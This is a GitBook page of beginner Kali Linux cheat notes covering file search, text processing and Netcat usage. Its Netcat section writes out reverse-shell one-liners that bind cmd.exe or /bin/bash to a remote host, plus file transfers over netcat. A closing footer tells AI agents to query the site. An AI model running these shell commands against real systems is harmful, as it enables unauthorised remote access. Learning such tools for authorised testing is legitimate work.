> For the complete documentation index, see [llms.txt](https://ymiir.gitbook.io/extra/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ymiir.gitbook.io/extra/cheat-notes/kali-linux-101.md).

# Kali Linux 101

Kali Linux is a Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security

1. Set value

```bash
export ip=xx.xx.xx.xx
cat $ip
```

2. Locate/Find File name

```bash
locate filename
find / -name namefile\* 2>/dev/null
```

3. Unzip File

```bash
gunzip access.log.gz  //gz file
unzip access.zip    //zip file
tar -xzvf file.tar.gz  //gz or tar file
```

4. History

`history | grep wordshere`

5. String Manipulation

```bash
Get the start or end of a file
    head index.html
    tail index.html
Extract all the lines that contain a string
    grep "href=" index.html
Cut a string by a delimiter, filter results then sort
    grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
Using Grep and regular expressions and output to a file
    cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt
Use a bash loop to find the IP address behind each host
    for url in $(cat list.txt); do host $url; done
Collect all the IP Addresses from a log file and sort by frequency
    cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
    
```

6. Netcat

<pre class="language-bash"><code class="lang-bash">Connect to a POP3 mail server
    nc -nv $ip 110
Listen on TCP/UDP port
    nc -nlvp 4444
Connect to a netcat port
    nc -nv $ip 4444
Send a file using netcat
<strong>    nc -nv $ip 4444 &#x3C; /usr/share/windows-binaries/wget.exe
</strong>Receive a file using netcat
    nc -nlvp 4444 > incoming.exe
Create a reverse shell with Ncat using cmd.exe on Windows
    nc.exe -nlvp 4444 -e cmd.exe
    nc.exe -nv &#x3C;Remote IP> &#x3C;Remote Port> -e cmd.exe
Create a reverse shell with Ncat using bash on Linux
    nc -nv $ip 4444 -e /bin/bash
Netcat for Banner Grabbing:
    echo "" | nc -nv -w1 &#x3C;IP Address> &#x3C;Ports>
</code></pre>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ymiir.gitbook.io/extra/cheat-notes/kali-linux-101.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
